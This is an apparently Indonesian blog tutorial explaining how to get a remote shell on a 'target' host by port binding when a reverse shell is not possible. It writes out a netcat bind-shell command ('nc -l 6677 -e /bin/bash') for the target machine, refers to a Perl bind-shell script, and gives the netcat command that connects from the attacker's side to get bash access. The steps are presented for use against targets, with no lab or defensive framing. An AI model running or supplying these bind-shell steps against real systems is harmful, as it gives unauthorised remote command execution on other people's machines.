Back Connect dengan Cara Binding Port

Rabu, 31 Juli 2019

Back Connect dengan Cara Binding Port. Masalah yang kadang ditemui saat ingin melakukan back connect adalah kita tidak bisa menggunakan reverse shell dikarenakan ip yang kita gunakan bukan ip publik yang dapat diakses atau dijangkau oleh host target.
Di tutorial sebelumnya saya sudah membahas bagaimana melakukan back connect dengan reverse shell. Nah, berbeda dengan reverse shell dimana syaratnya adalah ip kita dapat diakses oleh host target. maka port binding ini syaratnya adalah host target dapat dijangkau oleh kita.


Syaratnya adalah netcat harus sudah terinstall di local. Untuk remote server, kita bisa gunakan netcat (jika terinstall), atau gunakan script perl (akan saya bagikan di paragraf selanjutnya) untuk membuat listener.

Di Komputer Target
Jalankan perintah
nc -l 6677 -e /bin/bash
Sesuaikan sendiri untuk port yang akan dibuka. Lalu bagaimana jika ternyata di host target tidak terinstall netcat?
Kalian download script berikut:


Lalu jalankan dengan perintah
chmod +x bind.pl
perl bind.pl 6677
Tentu saya di host target harus sudah terinstall perl. biasanya sudah terinstall secara default.
Oke sekarang dari sisi target sudah listen. Nah lanjut ke sisi lokal (kita).

Di Komputer Local
Jalankan perintah
nc -v [ip/host target] [port target]
Misalnya
nc -v remoteserver.linuxsec.org 6677
Maka beberapa detik kemudian kita akan mendapatkan akses bash shell dari remote host di komputer lokal kita.

Sekarang kalian telah paham bagaimana cara melakukan back connect menggunakan port binding. Sekian tutorial kali ini, jika ada yang ingin ditanyakan silahkan komentar.

Artikel Terkait Server ,Shell